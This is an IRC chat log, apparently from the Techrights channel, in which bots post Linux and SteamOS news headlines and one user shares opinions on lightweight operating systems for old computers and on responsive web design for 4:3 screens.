| TweetTuxMachines | Two Great Linux Games http://t.co/fHKC9YW0m5 | Oct 10 17:03 |
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| TweetTuxMachines | @tuxmachines SteamOS 2.0 to Get Major Update Once a Month | Oct 10 17:07 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | SteamOS 2.0 to Get Major Update Once a Month - Softpedia | Oct 10 17:07 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: OSS | Tux Machines | Oct 10 19:32 | |
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| cubexyz | HA, dual core 2 gigahertz is old | Oct 10 23:09 |
| cubexyz | but this shows how polluted the computerscape is | Oct 10 23:10 |
| cubexyz | hardly anyone seems to be able to function on a computer without windows, it's sad | Oct 10 23:10 |
| cubexyz | Q4OS is ok, but it wastes cpu time | Oct 10 23:12 |
| cubexyz | the most functional no-nonsense OS I've ever used was OpenBSD | Oct 10 23:13 |
| cubexyz | I don't need some fancy word processor | Oct 10 23:17 |
| cubexyz | I barely even use abiword | Oct 10 23:17 |
| cubexyz | sorry, I like Q4OS, but the idea that it's best distro for an old computer is ridiculous | Oct 10 23:20 |
| cubexyz | openbsd or in extreme cases BL3 | Oct 10 23:20 |
| cubexyz | openbsd doesn't even load X by default | Oct 10 23:21 |
| cubexyz | totally lean and mean | Oct 10 23:21 |
| cubexyz | but I must say that Novena project looks very interesting | Oct 10 23:23 |
| cubexyz | it's even got an FPGA built-in | Oct 10 23:23 |
| cubexyz | and web page creators are mostly ignoring older computer users | Oct 10 23:28 |
| cubexyz | some web pages no longer fit on a 4:3 screen | Oct 10 23:28 |
| cubexyz | ideally the browser should transmit to the server it connects to "Hey I'm 4:3 here" | Oct 10 23:32 |
| cubexyz | there is something called "Responsive layout" which tries to adapt to every device | Oct 10 23:33 |
| cubexyz | or "Responsive Web Design" | Oct 10 23:35 |
| cubexyz | https://en.wikipedia.org/wiki/Responsive_web_design | Oct 10 23:35 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Responsive web design - Wikipedia, the free encyclopedia [ http://ur1.ca/nzaw9 ] | Oct 10 23:35 | |
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